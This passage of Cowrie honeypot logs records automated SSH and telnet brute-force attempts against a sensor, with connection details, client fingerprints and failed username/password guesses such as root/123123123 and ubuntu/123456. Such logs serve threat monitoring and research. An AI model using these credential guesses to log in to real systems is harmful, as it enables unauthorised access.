a2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:30.033180Z","src_ip":"91.92.42.227","session":"f8a8d75af320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:32.007573Z","src_ip":"91.92.42.227","session":"8b103e65c19b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:34.991782Z","src_ip":"91.92.42.227","session":"8b103e65c19b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52000,"dst_ip":"10.17.0.5","dst_port":22,"session":"d447f398572e","protocol":"ssh","message":"New connection: 91.92.42.227:52000 (10.17.0.5:22) [session: d447f398572e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:36.315885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:37.883924Z","src_ip":"91.92.42.227","session":"d447f398572e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:37.888597Z","src_ip":"91.92.42.227","session":"d447f398572e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qwerty","message":"login attempt [debian/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:38.275550Z","src_ip":"91.92.42.227","session":"f8a8d75af320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33842,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5f00d17cf5a","protocol":"telnet","message":"New connection: 128.199.8.54:33842 (159.203.135.109:23) [session: f5f00d17cf5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:40.670919Z"}
{"eventid":"cowrie.session.closed","duration":"13.7","message":"Connection lost after 13.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:41.810073Z","src_ip":"91.92.42.227","session":"f8a8d75af320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":38952,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b06c4f9d037","protocol":"ssh","message":"New connection: 2.57.122.238:38952 (159.203.135.109:22) [session: 5b06c4f9d037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:42.132168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:42.135876Z","src_ip":"2.57.122.238","session":"5b06c4f9d037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:42.232401Z","src_ip":"2.57.122.238","session":"5b06c4f9d037","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:42.521730Z","src_ip":"2.57.122.238","session":"5b06c4f9d037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52056,"dst_ip":"10.17.0.5","dst_port":22,"session":"65458e11cef9","protocol":"ssh","message":"New connection: 91.92.42.227:52056 (10.17.0.5:22) [session: 65458e11cef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:43.415030Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:43.620029Z","src_ip":"2.57.122.238","session":"5b06c4f9d037","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:45.136544Z","src_ip":"91.92.42.227","session":"65458e11cef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:45.139042Z","src_ip":"91.92.42.227","session":"65458e11cef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:45.687204Z","src_ip":"91.92.42.227","session":"d447f398572e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:48.781981Z","src_ip":"91.92.42.227","session":"d447f398572e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55434,"dst_ip":"10.17.0.5","dst_port":22,"session":"c91fadc3358f","protocol":"ssh","message":"New connection: 91.92.42.227:55434 (10.17.0.5:22) [session: c91fadc3358f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:49.870268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:52.651649Z","src_ip":"91.92.42.227","session":"c91fadc3358f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:52.654843Z","src_ip":"91.92.42.227","session":"c91fadc3358f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"12345","message":"login attempt [tester/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:54.079575Z","src_ip":"91.92.42.227","session":"65458e11cef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42628,"dst_ip":"159.203.135.109","dst_port":23,"session":"608330b3bcad","protocol":"telnet","message":"New connection: 128.199.8.54:42628 (159.203.135.109:23) [session: 608330b3bcad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:55.018119Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53768,"dst_ip":"10.17.0.5","dst_port":22,"session":"93e6e0d5a737","protocol":"ssh","message":"New connection: 91.92.42.227:53768 (10.17.0.5:22) [session: 93e6e0d5a737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:56.861521Z"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:57.187077Z","src_ip":"91.92.42.227","session":"65458e11cef9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:59.082644Z","src_ip":"91.92.42.227","session":"93e6e0d5a737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:59.087745Z","src_ip":"91.92.42.227","session":"93e6e0d5a737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:02.185652Z","src_ip":"91.92.42.227","session":"c91fadc3358f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53776,"dst_ip":"10.17.0.5","dst_port":22,"session":"28b69ee5f04b","protocol":"ssh","message":"New connection: 91.92.42.227:53776 (10.17.0.5:22) [session: 28b69ee5f04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:03.859046Z"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:05.578212Z","src_ip":"91.92.42.227","session":"c91fadc3358f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:06.126951Z","src_ip":"91.92.42.227","session":"28b69ee5f04b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:06.149819Z","src_ip":"91.92.42.227","session":"28b69ee5f04b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":59250,"dst_ip":"10.17.0.5","dst_port":22,"session":"1527491f9021","protocol":"ssh","message":"New connection: 37.233.85.71:59250 (10.17.0.5:22) [session: 1527491f9021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:08.606363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:08.610878Z","src_ip":"37.233.85.71","session":"1527491f9021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:08.725671Z","src_ip":"37.233.85.71","session":"1527491f9021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kawaii","message":"login attempt [root/kawaii] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:09.080848Z","src_ip":"37.233.85.71","session":"1527491f9021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"1234","message":"login attempt [admin2/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:09.377272Z","src_ip":"91.92.42.227","session":"93e6e0d5a737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:10.196414Z","src_ip":"37.233.85.71","session":"1527491f9021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35752,"dst_ip":"10.17.0.5","dst_port":22,"session":"98e1de1a7f97","protocol":"ssh","message":"New connection: 91.92.42.227:35752 (10.17.0.5:22) [session: 98e1de1a7f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:11.408843Z"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:13.458679Z","src_ip":"91.92.42.227","session":"93e6e0d5a737","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:14.199896Z","src_ip":"91.92.42.227","session":"98e1de1a7f97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:14.203557Z","src_ip":"91.92.42.227","session":"98e1de1a7f97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.20070147514343,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:14.623786Z","src_ip":"128.199.8.54","session":"4bdf91aea8ff","protocol":"telnet"}
